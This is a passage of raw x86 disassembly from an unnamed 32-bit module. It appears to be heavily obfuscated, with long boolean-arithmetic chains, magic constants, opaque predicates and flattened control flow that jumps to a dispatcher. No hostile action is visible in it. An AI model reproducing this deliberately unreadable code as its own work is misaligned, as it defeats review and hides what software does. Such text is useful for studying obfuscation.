xor dl, 1
or dh, ah
and ah, ch
or al, ah
xor al, 1
or al, ch
mov ah, al
xor ah, 1
mov ch, ah
and ch, cl
or ah, dl
and dl, al
or dl, ch
xor al, cl
xor ah, 1
or ah, al
xor dl, 1
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
mov ch, dh
mov al, dh
xor al, bh
xor al, 1
or ch, bh
mov cl, al
xor cl, ch
or ch, al
xor ch, 1
or ch, cl
mov ah, ch
mov dh, ch
xor ah, 1
mov ecx, edx
xor cl, 1
mov al, cl
and al, dl
xor al, 1
mov ch, al
xor ch, dl
or al, dl
xor al, 1
or al, ch
mov ch, ah
and ch, al
xor al, 1
and al, dh
or al, ch
and ah, cl
and dl, dh
or dl, ah
mov ah, cl
xor ah, dh
or cl, dh
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, al
xor ah, 1
mov edx, eax
and dl, ah
xor dl, 1
mov ch, dl
xor ch, ah
or dl, ah
xor dl, 1
or dl, ch
mov dh, dl
and dl, cl
xor ah, cl
mov ch, cl
xor ch, 1
xor dh, 1
and dh, ch
or ch, al
xor ch, 1
or ch, ah
xor ch, 1
or ch, dl
or ch, dh
mov al, ch
xor al, 1
mov cl, al
and cl, ch
xor al, cl
xor cl, 1
or cl, ch
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ah, cl
and ah, al
xor ah, 1
mov edx, eax
xor dl, ah
or ah, al
xor ah, 1
or dl, ah
or al, cl
or al, ah
mov ah, al
xor ah, 1
mov ecx, edx
xor cl, al
and cl, dl
and al, dl
xor dl, 1
and dl, ah
or al, dl
xor cl, 1
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, edx
and cl, al
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, cl
xor ah, al
or cl, al
and cl, ah
xor cl, 1
or cl, dl
xor cl, 1
mov eax, ebx
or al, cl
xor al, 1
xor cl, bl
or al, cl
mov ah, al
xor ah, 1
mov edx, ecx
xor dl, ah
or al, dl
and cl, dl
and dl, ah
mov ah, cl
xor ah, 1
xor cl, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ecx, edx
and dl, al
xor al, 1
xor cl, 1
mov ah, al
xor ah, cl
and ah, al
and cl, al
or cl, dl
mov al, cl
xor al, ah
test cl, 1
mov ebx, 0xf3aa49bc
mov edx, 0xe392f291
cmovne ebx, edx
test ah, 1
mov ecx, 0xf3aa49bc
cmove ebx, ecx
jmp 0x1001a924
mov ebx, 0xe3629d0f
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0x92a0687b
mov eax, edx
mov ebp, edx
and eax, 0x6d5f9784
or eax, ecx
mov ecx, eax
xor ecx, 0x9488704
xor eax, 0x92a0687b
mov edx, ebx
and edx, ebp
mov esi, edx
not esi
mov edi, eax
and edi, 0x641750f2
and ecx, 0x9be8af0d
or ecx, edi
or eax, esi
and esi, 0x641750f2
and edx, 0x9be8af0d
or edx, esi
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
and eax, 0x4be7aea3
mov ecx, edx
and ecx, 0xb418515c
or ecx, eax
xor ecx, 0x612f9fad
and edx, 0x2ac8310e
or edx, ecx
mov ecx, edx
not ecx
mov dword [esp + 0xc], ebx
mov esi, ebx
and esi, 0x441ab2cb
mov eax, ebp
and eax, 0xbbe54d34
or eax, esi
xor eax, 0x6ed283c5
or eax, ebx
mov esi, ecx
xor esi, eax
and esi, ecx
and edx, 0x19f2cd13
and ecx, 0xe60d32ec
or ecx, edx
xor ecx, eax
mov edx, ecx
xor edx, 0xe60d32ec
mov eax, esi
not eax
xor ecx, 0x19f2cd13
mov edi, eax
and edi, 0x5e31ddb3
and esi, 0xa1ce224c
or esi, edi
or eax, ecx
and ecx, 0x5e31ddb3
and edx, 0xa1ce224c
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x2ac8310e
and ecx, eax
or eax, 0xd537cef1
mov esi, ecx
not esi
mov edi, eax
and edi, 0xc7ef731
and edx, 0x2280000e
or edx, edi
or eax, esi
and esi, 0xc7ef731
and ecx, 0xf38108ce
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0xa5cac35c
and ecx, eax
not eax
mov edx, eax
and edx, 0xa5cac35c
or edx, ecx
and edx, 0xa5cac35d
not ecx
and ecx, 0x5a353ca2
or ecx, edx
or eax, 0x41b1bb2e
mov esi, eax
and esi, 0x41b1bb2f
and eax, 1
xor esi, 0xbe4e44d1
mov edx, ecx
not edx
mov edi, edx
and edi, 0x928f3470
and ecx, 0x6d70cb8f
or ecx, edi
or eax, 0x928f3470
xor eax, ecx
or edx, esi
not edx
or edx, eax
mov eax, edx
not eax
and edx, 0xe5e356cf
and eax, 0x1a1ca930
or eax, edx
mov ebx, eax
xor ebx, 0x8a030
xor eax, 0x24e052c1
and eax, 0x3ef45bc1
and ebx, 0xc10ba43e
or ebx, eax
mov edx, dword [esp + 0xc]
mov eax, edx
and eax, 0x24608824
mov ecx, ebp
xor ecx, 0x24608824
and ecx, ebp
mov edi, ebp
mov dword [esp + 0x10], ebp
or eax, ecx
not ecx
and ecx, 0xdb9f77da
and eax, 0x24608825
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x93b2e929
and eax, 0x6c4d16d6
or eax, esi
and edi, 0x93b2e929
mov esi, edx
and esi, 0x6c4d16d6
or esi, edi
mov edx, ebx
xor edx, 0x3ef45bc1
mov dword [esp], edx
xor ebx, 0xc10ba43e
xor esi, eax
not esi
or esi, ecx
mov eax, ebx
or eax, 0x28500000
and eax, 0x6f700a10
mov ecx, edx
and ecx, 0x108c95a1
or ecx, eax
mov eax, edx
or eax, 0x47200a10
and eax, 0x6f700a10
mov edi, ebx
and edi, 0x8003604e
or edi, eax
xor edi, ecx
mov ebp, esi
not ebp
mov eax, esi
and eax, 0xea38cbfe
mov ecx, ebp
and ecx, 0x15c73401
or ecx, eax
mov eax, ecx
xor eax, 0x463401
xor ecx, 0x40204128
or ecx, 0x3c888844
and ecx, 0x7da8c96c
and eax, 0x2563403
or eax, ecx
mov ecx, esi
and ecx, 0x4ba14973
mov edx, ebp
and ebp, 0xb45eb68c
or ebp, ecx
not ebp
or ebp, esi
mov dword [esp + 0x18], ebp
or esi, 0x41204128
and esi, 0x7da8c96c
and edx, 0x80010290
or edx, esi
xor edx, eax
mov ecx, edx
xor ecx, 0xbc898ad4
mov dword [esp + 8], edi
xor edi, 0x57ac9fb1
xor edx, 0x4376752b
mov dword [esp + 4], edx
and edx, 0x1f0e5e2f
mov ebp, edi
mov dword [esp + 0x20], edi
and edi, ecx
mov dword [esp + 0x1c], edi
and ecx, 0xe0f1a1d0
or ecx, edx
mov edx, dword [esp + 8]
xor edx, 0xa853604e
xor ecx, 0xab50e8a3
mov eax, ecx
mov esi, dword [esp + 4]
xor eax, esi
mov edi, edx
xor edi, esi
and edi, edx
mov dword [esp + 0x30], edi
and esi, edx
mov dword [esp + 4], esi
and edx, 0x6210339
and ebp, 0xf9defcc6
or ebp, edx
xor ebp, 0xb27fb5b5
mov esi, dword [esp + 0x20]
and esi, 0xb45eb68c
or esi, ebp
mov ebp, dword [esp]
mov edi, ebp
and edi, 0x4ba14973
mov edx, ebx
and edx, 0xb45eb68c
or edx, edi
mov ebx, ebp
xor ebx, edx
and ebx, edx
mov ebp, ebx
mov dword [esp], ebx
and eax, ecx
mov ebx, esi
not ebx
and esi, 0x908fd088
mov edx, ebx
and edx, 0x6f702f77
or edx, esi
mov edi, ebp
not edi
mov ecx, edi
and ecx, 0x911f13f3
mov esi, ebp
and esi, 0x6ee0ec0c
or esi, ecx
mov ebp, edx
xor ebp, 0x6f702f77
mov ecx, edx
xor ecx, 0xa2f8cac7
and ecx, ebp
and ebx, 0xcd88e5b0
or ebx, ecx
mov dword [esp + 0x20], ebx
mov ecx, esi
xor ecx, 0x6ee0ec0c
xor esi, 0x911f13f3
mov ebx, esi
or ebx, 0x8588a430
and ebx, 0x97bfbe39
mov dword [esp + 8], ecx
and dword [esp + 8], 0x20400046
add dword [esp + 8], ebx
or edi, 0x12371a09
and edi, 0x97bfbe39
mov ebx, dword [esp]
and ebx, 0x48004180
or ebx, edi
xor ebx, dword [esp + 8]
mov edi, ebx
xor edi, ebx
not edi
and edi, dword [esp + 0x20]
xor edi, ebx
xor edx, 0x908fd088
mov ebx, edx
and ebx, 0x22b6c157
and ebp, 0xdd493ea8
or ebp, ebx
or edx, esi
and esi, 0x22b6c157
and ecx, 0xdd493ea8
or ecx, esi
xor ecx, ebp
not edx
or edx, ecx
not edx
or edx, edi
mov ecx, eax
not ecx
xor eax, ecx
mov esi, dword [esp + 0x18]
and eax, esi
xor eax, ecx
or ecx, esi
not ecx
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x20048001
mov edi, eax
and edi, 0x10a0908
or edi, esi
mov esi, edi
xor esi, 0x80008
xor edi, 0x66a1e693
and edi, 0x67a3ef93
and esi, 0xc0008
or esi, edi
or ecx, 0x21028901
and ecx, 0x67a3ef93
and eax, 0x98501064
or eax, ecx
xor eax, esi
xor eax, edx
mov edi, dword [esp + 4]
or edi, dword [esp + 0x1c]
or edi, dword [esp + 0x30]
mov ecx, edi
not ecx
mov edx, ecx
and edx, 0x31386bcf
and ecx, edi
and edi, 0xcec79430
or edi, edx
mov edx, edi
xor edx, 0xcc60000
xor edi, 0x31386bcf
mov esi, edi
and esi, 0xd221b4bb
and edx, 0x2dde4b44
or edx, esi
mov esi, ecx
not esi
or edi, esi
and esi, 0xd221b4bb
and ecx, 0x2dde4b44
or ecx, esi
mov esi, eax
xor esi, 0x88801
xor ecx, edx
not edi
or edi, ecx
mov ecx, edi
not ecx
and edi, 0xb2f57ded
and ecx, 0x4d0a8212
or ecx, edi
mov edx, ecx
xor edx, 0x4c088202
xor ecx, 0xb2f57ded
xor eax, 0xdef176f6
mov edi, eax
or edi, ecx
not edi
and eax, 0x211675f8
and esi, 0xdee98a07
or esi, eax
and ecx, 0x211675f8
and edx, 0xdee98a07
or edx, ecx
xor edx, esi
or edx, edi
mov dword [esp], edx
mov edx, dword [esp + 0x10]
mov eax, edx
or eax, 0xc27ec69c
mov ecx, edx
xor ecx, 0x3d813963
and ecx, edx
mov esi, eax
and esi, 0x6a66851f
mov ebp, dword [esp + 0xc]
mov edi, ebp
and edi, 0x15813860
or edi, esi
mov esi, ecx
not esi
or eax, esi
and esi, 0x6a66851f
and ecx, 0x95997ae0
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x5a449c
xor eax, 0x3d813963
and ecx, 0x1db759c
mov esi, eax
and esi, 0xfe248a63
or esi, ecx
xor esi, 0xa2d3d959
and eax, 0xa308acc5
or eax, esi
mov ecx, eax
not ecx
and ebp, 0x8300ac45
and edx, 0x20080080
or edx, ebp
or ebp, 0x40064038
xor edx, 0x2002805
and edx, 0x22082885
and ebp, 0xc106c478
or ebp, edx
mov esi, ebp
xor esi, 0xc106c478
mov edi, eax
and edi, 0xf3502f61
mov ebx, ecx
and ebx, 0xcafd09e
or ebx, edi
mov edi, ebp
xor edi, 0x3ef93b87
mov edx, edi
and edx, 0xf3102c61
xor ebp, 0x2200a801
and ebp, esi
or ebp, edx
xor ebp, ebx
mov edx, ecx
and edx, 0x20827c11
and eax, 0xdf7d83ee
or eax, edx
mov ebx, ebp
xor ebx, 0x300
or ecx, esi
and esi, 0x20002c01
and edi, 0xdf7d83ee
or edi, esi
xor edi, eax
not ecx
or ecx, edi
mov eax, ecx
not eax
xor ebp, 0xffbffcff
mov esi, ebp
and esi, 0x2b78e011
and ebx, 0xd4871fee
or ebx, esi
or ebp, ecx
and ecx, 0x2b78e011
and eax, 0xd4871fee
or eax, ecx
xor eax, ebx
not ebp
or ebp, eax
mov eax, ebp
not eax
mov ecx, ebp
or ecx, 0x4c805222
mov esi, eax
or esi, 0x81002405
and ecx, 0xcd807627
and eax, 0x220888c0
or eax, ecx
and esi, 0xcd807627
and ebp, 0x10770118
or ebp, esi
xor ebp, eax
mov edx, dword [esp]
mov eax, edx
not eax
mov ecx, eax
mov edi, eax
mov dword [esp + 4], eax
and ecx, 0x819a15d9
mov esi, edx
and esi, 0x7e65ea26
or esi, ecx
mov ecx, esi
xor ecx, 0x54002204
xor esi, 0x9a0140
and esi, 0x2affc962
and ecx, 0xd500369d
or ecx, esi
mov esi, ecx
xor esi, 0x2affc962
xor ecx, 0xd500369d
mov ebx, ebp
not ebx
and ecx, ebx
and esi, ebp
or esi, ecx
mov ecx, esi
xor ecx, ebx
and ecx, esi
and edi, 0x5d761440
mov esi, edx
and esi, 0xa289ebbf
or esi, edi
mov eax, esi
xor eax, 0x8289a2a6
xor esi, 0x5d761440
mov edi, esi
and edi, 0x65225d59
and eax, 0x9adda2a6
or eax, edi
or esi, ebx
and ebx, 0x65225d59
and ebp, 0x9adda2a6
or ebp, ebx
xor ebp, eax
not esi
or esi, ebp
mov edi, ecx
not edi
xor ecx, edi
and ecx, esi
xor ecx, edi
or edi, esi
not edi
or ecx, edi
mov edi, dword [esp + 4]
and edi, 0x12040058
mov eax, edx
mov esi, edx
and esi, 0x88b0e020
or esi, edi
xor esi, 0x88b0e020
and eax, 0x654b1f87
or eax, esi
mov esi, eax
mov edx, eax
xor esi, 0x25431b04
mov eax, ecx
not eax
mov edi, eax
and edi, 0xbf2128cb
mov ebx, ecx
and ebx, 0x40ded734
or ebx, edi
mov edi, ebx
xor edi, 0x4c400
xor ebx, 0x18000041
xor edx, 0x1884c078
and edx, 0x588cc4fb
and esi, 0xa7733b04
or esi, edx
mov edx, eax
or edx, 0x58880071
or ebx, 0x7030304
and ebx, 0x5f8b0375
and edi, 0x4c48a
or edi, ebx
and edx, 0x5f8b0375
mov ebx, ecx
and ebx, 0xa0703800
or ebx, edx
xor ebx, edi
mov edx, esi
xor edx, esi
not edx
and edx, ebx
xor edx, esi
mov esi, edx
not esi
mov edi, esi
and edi, 0x1044b35f
and edx, 0xefbb4ca0
or edx, edi
and ecx, 0x1044b35f
and eax, 0xefbb4ca0
or eax, ecx
xor eax, edx
not eax
or eax, esi
xor eax, 0xffffffff
setne ch
sete bh
mov byte [esp + 8], bh
cmp dword [0x1004090c], 0xa
setl al
mov byte [esp], al
setge ah
mov bl, ah
xor bl, al
and bl, al
or bl, ah
xor bl, 1
or bl, ah
mov al, bl
xor al, 1
xor bh, ch
mov cl, bh
xor cl, 1
and bl, al
xor bl, 1
mov edx, eax
xor dl, bl
or bl, al
xor bl, 1
or bl, dl
mov al, bl
xor al, 1
mov edx, eax
and dl, bl
xor dl, 1
or dl, bl
xor dl, 1
or dl, al
mov byte [esp + 4], dl
mov dl, ch
mov dh, bh
mov byte [esp + 0xc], cl
and dh, cl
xor dh, 1
mov al, cl
xor al, dh
or dh, cl
xor dh, 1
or dh, al
and dh, bh
xor dh, ch
xor dh, 1
or dh, ch
movzx ebx, byte [esp + 8]
mov al, bl
and al, ah
or ah, ch
mov cl, byte [esp]
and ch, cl
or ch, al
mov al, cl
xor al, ch
and al, ch
mov byte [esp], al
xor ch, 1
mov al, ah
xor al, ch
mov byte [esp + 0x10], al
or ah, ch
mov byte [esp + 0x18], ah
mov eax, ebx
or ch, bl
mov cl, byte [esp + 0xc]
or al, cl
and dl, cl
xor dl, 1
mov ebx, edx
xor bl, al
or dl, al
xor dl, 1
or dl, bl
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov cl, dl
xor cl, 1
mov bh, dh
xor bh, 1
and bh, dh
xor bh, 1
mov bl, bh
xor bl, dh
or bh, dh
xor bh, 1
or bh, bl
mov bl, bh
xor bl, 1
mov dh, bh
and dh, bl
xor dh, 1
or dh, bl
and bl, dl
mov eax, ecx
and al, bh
or al, bl
xor al, 1
or al, dl
xor dh, 1
or dh, bh
and dl, dh
xor dh, 1
and dh, cl
or dh, dl
mov cl, dh
xor cl, 1
mov dl, cl
mov bh, al
xor cl, al
xor al, 1
and dl, al
and bh, dh
or bh, dl
or dh, al
xor dh, 1
or dh, cl
xor bh, 1
mov al, bh
xor al, dh
or bh, dh
xor bh, 1
or bh, al
mov cl, bh
xor cl, 1
mov edx, ecx
and dl, bh
mov dh, dl
xor dh, 1
mov ah, bh
or ah, dh
xor ah, 1
mov bl, dh
or bl, cl
or cl, ah
and dl, cl
xor bl, 1
or bl, dl
xor cl, 1
and cl, dh
or bl, cl
mov cl, bl
xor cl, 1
mov dl, cl
and dl, bl
xor cl, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, cl
mov cl, dl
xor cl, 1
mov bl, cl
and bl, dl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
mov al, bl
and bl, dl
xor al, 1
and cl, al
or bl, cl
xor bl, 1
or bl, al
mov dl, byte [esp + 4]
mov al, dl
xor al, 1
xor dh, bh
or dh, ah
and dl, al
mov cl, dl
xor cl, 1
mov bh, dl
and bh, cl
xor bh, 1
or bh, cl
mov cl, bl
xor cl, 1
xor bh, 1
or bh, dl
mov dl, dh
xor dl, 1
xor bh, al
and bl, cl
xor bl, 1
mov eax, ecx
xor al, bl
or bl, cl
xor bl, 1
or bl, al
mov eax, ebx
xor al, 1
mov cl, dl
xor cl, al
and cl, dh
mov ah, al
or ah, dh
xor ah, 1
or ah, cl
and dh, al
or al, dl
and bl, dl
xor al, 1
or bl, dh
or bl, al
mov al, ah
and al, bl
xor bl, 1
mov dl, ah
xor dl, 1
and dl, bl
or dl, al
mov al, ah
xor al, bl
or bl, ah
xor bl, 1
or bl, al
xor dl, 1
mov eax, edx
xor al, bl
or dl, bl
mov cl, bh
xor cl, 1
xor dl, 1
or dl, al
mov al, bh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, bh
mov cl, al
xor cl, 1
and al, dl
xor dl, 1
and dl, cl
or dl, al
mov dh, byte [esp + 0x18]
xor dh, 1
or dh, byte [esp + 0x10]
movzx eax, byte [esp]
mov cl, al
and al, ch
mov ah, al
xor ch, 1
xor cl, 1
mov al, ch
xor al, cl
and al, ch
and cl, ch
or cl, ah
xor al, 1
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov ah, dh
xor ah, cl
and cl, ah
xor cl, 1
mov al, cl
or al, ah
xor cl, ah
xor cl, 1
mov ah, cl
xor ah, al
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov ah, cl
xor ah, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
and al, cl
xor al, 1
mov ah, al
xor ah, cl
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, 1
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov ecx, eax
and cl, ah
xor cl, 1
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
and cl, al
xor cl, 1
mov ah, al
xor ah, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, ecx
xor al, 1
mov ch, dl
xor ch, 1
or cl, dl
mov ah, ch
or ah, al
mov dh, ah
xor dh, cl
or ah, cl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, ch
xor cl, 1
or ah, dl
xor ah, 1
or ah, cl
mov cl, dl
or cl, al
xor al, dl
mov edx, ecx
xor dl, 1
or al, ch
mov ch, al
xor ch, 1
and dl, al
and ch, cl
or ch, dl
mov dh, ah
xor dh, 1
or al, cl
xor al, 1
or al, ch
mov ecx, eax
xor cl, 1
or al, dh
xor dh, cl
mov dl, dh
xor dl, ah
and dl, dh
xor cl, ah
and cl, al
mov ch, dl
xor ch, 1
mov ah, cl
xor ah, ch
mov al, dl
and al, ch
xor al, 1
or al, ch
xor al, 1
or al, dl
xor al, cl
or cl, dl
xor ah, 1
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
test cl, 1
mov ebx, 0x2e65bfa2
mov ecx, 0xa66459cc
cmovne ebx, ecx
test al, 1
cmove ebx, ecx
test dl, 1
mov eax, 0x2e65bfa2
cmove ebx, eax
jmp 0x1000b8a0
mov ecx, dword [0x10040908]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x97395167
mov edx, eax
xor edx, 0x97395167
and edx, eax
or edx, esi
mov esi, edx
xor esi, 0x28860810
xor edx, 0x2310100
and edx, 0x4271a788
and esi, 0xbd8e5877
or esi, edx
mov edx, esi
xor edx, 0x898e0034
xor esi, 0x4031a788
and esi, 0x7431ffcb
and edx, 0x8bce0034
or edx, esi
mov esi, edx
xor esi, 0x8bce0034
xor edx, 0x7431ffcb
mov edi, ecx
and edi, 0x7612884c
mov ebp, eax
and ebp, 0x89ed77b3
or ebp, edi
xor ebp, 0x89ed77b3
mov ebx, ebp
xor ebx, ecx
and ebx, ebp
mov edi, ebx
not edi
mov ebp, esi
xor ebp, edi
and ebp, esi
and ebx, edx
and edi, esi
or edi, ebx
or edi, ebp
mov edx, edi
not edx
mov esi, edi
xor esi, 0xd3ec721b
and esi, edx
and edi, 0x28c40
and edx, 0x2c1101a4
or edx, edi
xor edx, 0x2c1101a4
or edx, esi
mov ebp, edx
not ebp
mov esi, ebp
and esi, 0xc153c2cd
and edx, 0x3eac3d32
or edx, esi
xor edx, 0x12bfb0d6
xor ebp, edx
and ebp, edx
and ecx, 0xe67d5700
and eax, 0x1982a8ff
or eax, ecx
mov ecx, eax
xor ecx, 0x80200c0
xor eax, 0xc0214200
and eax, 0xd1a1ea3f
and ecx, 0x2e5e15c0
or ecx, eax
mov esi, ecx
xor esi, 0xd1a1ea3f
xor ecx, 0x281811c0
and ecx, 0x29b819c7
mov edx, esi
and edx, 0xd647e638
or edx, ecx
mov eax, edx
xor eax, 0xd647e638
xor edx, 0x212008c3
mov ecx, eax
and ecx, 0x602e35b1
and esi, 0x9fd1ca4e
or esi, ecx
mov ecx, esi
xor ecx, 0x210051
and edx, 0x2760cae3
mov edi, eax
and edi, 0xd89f351c
or edi, edx
xor edi, 0xf48cb8f8
and eax, 0xd3ec721b
or eax, edi
xor esi, 0xb3c247aa
mov edx, esi
and edx, 0x7d5ebdae
and ecx, 0x82a14251
or ecx, edx
xor ecx, eax
xor ecx, 0x82a14251
or esi, eax
not esi
or esi, ecx
mov eax, esi
not eax
and eax, 0x18c19fbb
and esi, 0xe73e6044
or esi, eax
mov edi, ebp
not edi
mov eax, edi
and eax, 0x2d0c9898
mov ecx, ebp
and ecx, 0xd2f36767
or ecx, eax
mov dword [esp + 0x10], ecx
mov eax, ecx
xor eax, 0xd2f36767
mov dword [esp + 4], eax
xor ecx, 0x2d0c9898
mov dword [esp + 0x18], ecx
mov eax, ecx
and eax, 0xb2943f78
mov edx, dword [esp + 4]
and edx, 0x4d6bc087
or edx, eax
mov eax, edx
xor eax, ecx
and eax, edx
mov ecx, esi
xor ecx, 0xe73e6044
mov dword [esp + 8], ecx
xor esi, 0x18c19fbb
mov edx, esi
and edx, 0x4d6bc087
and ecx, 0xb2943f78
or ecx, edx
mov ebx, eax
not ebx
mov edx, ebx
and ebx, 0x4d90a27e
and eax, 0xb26f5d81
or eax, ebx
or edi, 0x4d6bc087
or edx, edi
and edi, 0x4d90a27e
and ebp, 0xb2041d00
or ebp, edi
xor ebp, eax
mov edi, ebp
not edi
mov eax, edi
and eax, 0xd1231e6c
and ebp, 0x2edce193
or ebp, eax
or edi, edx
and edx, 0xf3b73f7c
xor edx, ebp
xor edx, 0x22942110
not edi
or edi, edx
mov dword [esp], edi
mov ebp, ecx
xor ebp, dword [esp + 8]
and ebp, ecx
mov eax, ebp
not eax
mov dword [esp + 0x1c], eax
and eax, 0x5c678462
mov edx, ebp
and edx, 0xa3987b9d
or edx, eax
mov dword [esp + 0x20], edx
not ecx
or ecx, esi
mov edx, ecx
xor edx, 0xa3987b9d
and edx, ecx
mov eax, edx
not eax
mov edi, eax
and edi, 0x460191dd
and edx, 0xb9fe6e22
or edx, edi
mov edi, ecx
not edi
mov dword [esp + 0xc], edi
mov edi, ecx
or edi, 0x5c678462
or eax, edi
and edi, 0x460191dd
mov ebx, dword [esp + 0xc]
and ebx, 0xa1986a00
or ebx, edi
xor ebx, edx
not eax
or eax, ebx
mov edx, eax
xor edx, eax
not edx
and edx, dword [esp + 0x20]
xor edx, eax
mov eax, ebp
and eax, 0xee55c275
mov edi, dword [esp + 0x1c]
and edi, 0x11aa3d8a
or edi, eax
mov eax, dword [esp + 0xc]
or ebp, eax
and eax, 0xee55c275
and ecx, 0x11aa3d8a
or ecx, eax
xor ecx, edi
not ebp
or ebp, ecx
mov ecx, edx
not ecx
mov eax, ecx
and eax, 0x2a225127
and edx, 0xd5ddaed8
or edx, eax
mov eax, ebp
not eax
or ecx, ebp
and ebp, 0x2a225127
and eax, 0xd5ddaed8
or eax, ebp
xor eax, edx
not ecx
or ecx, eax
mov edx, dword [esp]
not edx
mov eax, edx
xor eax, ecx
not eax
and eax, ecx
or edx, ecx
not edx
or edx, eax
mov dword [esp], edx
mov ebx, dword [esp + 8]
mov eax, ebx
and eax, 0xf914f88a
mov ecx, esi
and ecx, 0x6eb0775
or ecx, eax
mov ebp, dword [esp + 0x18]
mov eax, dword [esp + 4]
or eax, ebp
mov edi, dword [esp + 0x10]
xor edi, 0x896589f0
and edi, eax
mov edx, ecx
xor edx, 0x4010a080
or edx, 0x80281000
mov eax, ecx
xor ecx, 0x2020400
and edx, 0xc0b8b295
and ecx, 0x1b064c02
or ecx, edx
xor eax, 0x6eb0775
or ebx, 0x4090a295
and ebx, 0xc0b8b295
and esi, 0x24410168
or esi, ebx
xor esi, ecx
xor esi, edi
or eax, ebp
mov ecx, esi
not ecx
mov edx, ecx
and edx, 0x9ab412e8
and esi, 0x654bed17
or esi, edx
xor esi, eax
xor esi, 0x654bed17
or ecx, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
and eax, 0xa7bc09d7
and ecx, 0x5843f628
or ecx, eax
mov eax, ecx
xor eax, 0x5843f628
xor ecx, 0xa7bc09d7
mov esi, dword [esp]
mov edx, esi
xor edx, ecx
and edx, esi
xor ecx, eax
and ecx, esi
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0x144091bc
and edx, ecx
mov esi, eax
or esi, edx
not edx
and edx, 0xebbf6e43
and esi, 0x144091bc
or esi, edx
mov edx, esi
not edx
and esi, 0xdeb533b4
mov edi, edx
and edi, 0x214acc4b
or edi, esi
xor edi, 0xf2a6be50
and edx, 0x2c138de4
or edx, edi
and ecx, 0xbb7a4e60
mov esi, eax
and esi, 0x4485b19f
or esi, ecx
xor esi, 0x68963c7b
and eax, 0xd3ec721b
or eax, esi
mov ecx, eax
xor ecx, 0xccbd517a
xor ecx, eax
xor ecx, 0x3342ae85
and ecx, edx
or edx, eax
not edx
xor ecx, eax
or ecx, edx
mov edx, ecx
not edx
mov eax, edx
and eax, 0x481024
mov edi, ecx
and edi, 0x810120da
or edi, eax
xor edi, 0x810120da
mov esi, ecx
xor esi, 0x814930fe
and esi, ecx
or esi, edi
mov eax, esi
xor eax, 0x14a64b00
xor esi, 0x4110e0
and esi, 0x6a5194e1
and eax, 0x95ae6b1e
or eax, esi
mov esi, eax
xor esi, 0x940a0016
xor eax, 0x620084c0
and eax, 0x63a4efc8
and esi, 0x9c5b1037
or esi, eax
mov edi, esi
xor edi, 0x9c5b1037
xor esi, 0x63a4efc8
mov ebx, esi
and ebx, edi
mov ebp, ebx
not ebp
mov eax, ebp
and eax, 0x77380da6
and ebx, 0x88c7f259
or ebx, eax
or ebp, esi
and esi, 0x77380da6
and edi, 0x88c7f259
or edi, esi
xor edi, ebx
not ebp
or ebp, edi
mov esi, ebp
not esi
mov eax, ebp
xor eax, 0x1d9478c1
and eax, ebp
mov dword [esp], ebp
mov edi, esi
and edi, 0x1d9478c1
or edi, eax
xor edi, 0x1c988d01
and esi, 0x48c75bb1
mov eax, ebp
and eax, 0xb738a44e
or eax, esi
xor eax, 0x49cbae71
mov esi, ebp
and esi, 0x10cf5c0
or esi, eax
not esi
or esi, edi
mov eax, edx
and eax, 0xbe59422
and edx, ecx
and ecx, 0xf41a6bdd
or ecx, eax
xor ecx, 0xf41a6bdd
or ecx, edx
mov ebp, ecx
xor ebp, 0xfef30a3f
mov ebx, ebp
and ebx, ecx
mov edi, ebx
not edi
mov eax, edi
and eax, 0xa041f59d
and ebx, 0x5fbe0a62
or ebx, eax
mov edx, esi
not edx
xor ecx, 0x10cf5c0
or edi, ebp
and ebp, 0xa041f59d
and ecx, 0x5fbe0a62
or ecx, ebp
xor ecx, ebx
not edi
or edi, ecx
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x21ff3b39
and eax, 0xde00c4c6
or eax, ecx
xor eax, 0x21ff3b39
xor edi, eax
and edi, eax
mov eax, edi
mov ebx, edi
xor ebx, 0x7bf2514
and ebx, edi
not edi
mov ecx, esi
or ecx, edi
and edi, 0x4922000
and eax, 0x32d0514
or eax, edi
mov ebp, esi
xor ebp, 0xf840daeb
and ebp, edx
or edx, 0xf840daeb
xor eax, 0x32d0514
or ebx, eax
mov eax, edx
and eax, 0x973d0693
and esi, 0x822104
